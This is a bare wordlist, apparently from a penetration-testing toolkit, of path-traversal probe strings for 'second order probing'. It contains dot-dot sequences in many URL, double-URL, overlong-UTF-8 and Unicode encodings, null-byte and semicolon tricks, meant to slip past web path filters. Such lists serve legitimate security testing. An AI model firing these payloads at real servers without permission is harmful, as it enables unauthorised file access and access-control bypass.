second order probing

sopt.txt

..
../
/./
/.//
/////
....//
....\/
/%2e/
/%2e%2e/
/%2e%2e/%2e%2e/
/.%00/
/foo%00bar
..%2f
..%2F
%2e%2e%2f
%2e%2e/
%2e%2e%5c
..%252f
%252E%252E%252F
..%252E%252E%252F%252E%252E%252F%252E%252E%252Fabc
%f0%80%85%2e%2e%2f
%25%32%65%25%32%65%25%32%66
..\
%2e%2e\
..%5c
%2e%2e%5c
..%255c
..%u2215
..%uEFC8
%u202e
%ef%bc%8f
%uff0e%uff0e%u2215
%u2216
%u2044
%uFF3C
..%c0%af
..%c1%1c
..%e0%80%af
..%ef%bc%8f
..%25c0%25af
/%20/
/%09/
/%0d%0a/
/%0c/
/%2b/
%23
;
..;/
/abc..;/def
/././
/../../
/....//
/..../
/..\./
/%2e%2e%2f%2e%2e%2f